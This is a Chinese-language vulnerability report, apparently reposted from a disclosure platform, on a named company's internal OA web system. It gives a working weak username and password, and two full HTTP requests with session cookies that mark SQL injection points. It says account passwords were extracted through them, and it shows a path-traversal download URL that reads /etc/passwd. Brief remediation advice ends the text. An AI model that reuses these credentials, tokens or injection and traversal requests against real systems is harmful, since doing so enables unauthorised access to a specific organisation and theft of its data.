IT工程師數位筆記本

...

系統：http://oa.chinawanda.com:1010/

1#  弱口令

xujing/000000

一些列的內部文件，這里只貼出部分通訊錄內容哈
 

2# SQL注入漏洞

該系統內部有多處SQL注入漏洞，這里給出兩個

2.1 第一處

GET /admin.php?ischeck=&ac=index&do=list&fileurl=file&userkeytype=&number=*&title=&vstartdate=&venddate=&filetype=&enddate=0 HTTP/1.1Host: oa.chinawanda.com:1010Proxy-Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Referer: http://oa.chinawanda.com:1010/admin.php?ac=index&fileurl=fileAccept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2Cookie: language=zh_CN; sessionid=0bc045e48d22490bcce8d2510c19b40b; toa_auth=MjAzCWZmNTQxOTNjYjAxNGYyMmVlNGNmYTgyY2UxNzUxYTdl

只跑取了5個帳號密碼
 

2.2 另一處
 

GET /admin.php?ac=duty&do=list&fileurl=duty&userkeytype=&number=*&title=&vstartdate=&venddate= HTTP/1.1Host: oa.chinawanda.com:1010Proxy-Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Referer: http://oa.chinawanda.com:1010/admin.php?ac=duty&fileurl=duty&menuid=31&pc_hash=QGXBYDAccept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2Cookie: sessionid=0bc045e48d22490bcce8d2510c19b40b; toa_auth=MjAzCWZmNTQxOTNjYjAxNGYyMmVlNGNmYTgyY2UxNzUxYTdl; language=zh_CN

3# 任意文件下載漏洞

正常的文件下載請求為：

http://oa.chinawanda.com:1010/down.php?urls=_wanda.oa_file/20130715/20130715072402.pdf

可修改urls為/etc/passwd

http://oa.chinawanda.com:1010/down.php?urls=/etc/passwd
 

Over ...

解決方案：

1. 修改弱口令撒~~~

2. 從底層修復SQL注入

3. 文件下載限定在指定目錄下

4. 可來一發“烏云眾測”

就愛閱讀www.92to.com網友整理上傳,為您提供最全的知識大全,期待您的分享，轉載請注明出處。
歡迎轉載：http://www.kanwencang.com/bangong/20161116/56055.html

文章列表

不含病毒。www.avast.com